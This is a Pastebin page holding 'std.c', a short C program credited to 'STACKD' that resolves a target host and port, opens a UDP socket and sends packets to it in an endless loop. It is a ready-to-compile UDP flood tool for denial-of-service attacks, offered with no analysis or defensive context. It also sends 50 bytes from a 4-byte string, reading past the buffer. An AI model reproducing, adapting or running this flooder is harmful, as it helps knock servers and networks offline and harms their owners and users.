Advertisement
LNO_LiGhT

std.c

Jun 15th, 2015
3,264
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.07 KB | None | 0 0
  1. #define STD2_STRING "std"
  2. #define STD2_SIZE 50
  3.  
  4. #include <stdio.h>
  5. #include <sys/param.h>
  6. #include <sys/socket.h>
  7. #include <netinet/in.h>
  8. #include <netdb.h>
  9. #include <stdarg.h>
  10.  
  11. int echo_connect(char *, short);
  12.  
  13. int echo_connect(char *server, short port)
  14. {
  15.    struct sockaddr_in sin;
  16.    struct hostent *hp;
  17.    int thesock;
  18.    hp = gethostbyname(server);
  19.    if (hp==NULL) {
  20.       printf("Unknown host: %s\n",server);
  21.       exit(0);
  22.    }
  23.    printf(" STD.C -- Packeting %s:%d\n ", server, port);
  24.    bzero((char*) &sin,sizeof(sin));
  25.    bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  26.    sin.sin_family = hp->h_addrtype;
  27.    sin.sin_port = htons(port);
  28.    thesock = socket(AF_INET, SOCK_DGRAM, 0);
  29.    connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
  30.    return thesock;
  31. }
  32.  
  33.  
  34. main(int argc, char **argv)
  35. {
  36.    int s;
  37.    if(argc != 3)
  38.    {
  39.       fprintf(stderr, "[STD2.C BY STACKD] Syntax: %s host port\n",argv[0]);
  40.       exit(0);
  41.    }
  42.    s=echo_connect(argv[1], atoi(argv[2]));
  43.    for(;;)
  44.    {
  45.       send(s, STD2_STRING, STD2_SIZE, 0);
  46.    }
  47. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement